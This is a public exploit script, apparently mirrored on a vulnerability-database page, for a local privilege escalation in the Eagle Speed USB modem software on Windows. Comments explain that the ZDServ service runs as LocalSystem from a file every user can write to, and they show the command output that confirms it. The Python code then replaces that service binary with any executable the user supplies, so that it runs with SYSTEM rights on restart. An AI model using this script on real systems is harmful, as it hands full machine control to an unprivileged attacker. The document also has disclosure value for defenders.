`#!/usr/bin/python -w
# Title : Eagle Speed USB MODEM SOFTWARE Privilege Escalation
# Date : 28/11/2016
# Author : R-73eN
# Tested on : Windows 7 ( Latest version of the software)
# Software : N/A ( Comes with the USB Modem)
# Vulnerability Description:
# When the Eagle Speed software is installed a service with name ZDServ is installed.
# The service itself has the right permissions which do not allow to reconfigure the binary
# but the path the binary is writable by any authenticated user.
#
# C:\Users\lowpriv>sc qc zdserv
# [SC] QueryServiceConfig SUCCESS
#
# SERVICE_NAME: zdserv
# TYPE : 110 WIN32_OWN_PROCESS (interactive)
# START_TYPE : 2 AUTO_START
# ERROR_CONTROL : 1 NORMAL
# BINARY_PATH_NAME : "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
# LOAD_ORDER_GROUP :
# TAG : 0
# DISPLAY_NAME : ZDServ
# DEPENDENCIES :
# SERVICE_START_NAME : LocalSystem
#
#
#
# C:\Users\lowpriv>icacls "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
# C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe Everyone:(I)(F) <----------- Everyone has full permissions.
# NT AUTHORITY\SYSTEM:(I)(F)
# BUILTIN\Administrators:(I)(F)
# Victim-PC\lowpriv:(I)(F)
# BUILTIN\Users:(I)(RX)
#
# Successfully processed 1 files; Failed processing 0 files
#
# This exploit takes as a parameter an exe file that will replace the ZDServ.exe and will run
# with full privileges when the service/computer is restarted.
#
# Video : https://youtu.be/o59SD8gXzlU
#
import os
import sys
import filecmp
path = "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe"
file_move = 'move "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe" "C:\ProgramData\ZDSupport\ZDServ\ZDServ.exe.bak"'
banner = "\n\n"
banner +=" ___ __ ____ _ _ \n"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
print banner
if(len(sys.argv) < 2):
print '\n Usage : exploit.py program.exe\n'
print 'https://infogen.al/'
else:
program = sys.argv[1]
if(not os.path.isfile(program)):
print "[-] The parameter was incorrect, use a correct filename [-]"
exit(0)
if(not os.path.isfile(path)):
print "[-] File not found , propably service doesn't exists [-]\n"
else:
print "[+] Backing up the binary [+]"
os.system(file_move)
print "[+] Copying the payload [+]"
os.system("copy " + program + " " + path)
if(filecmp.cmp(program,path)):
print "[+] Exploit successfull, wait for service to restart or reboot [+]"
else:
print "[-] Exploit failed [-]"
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation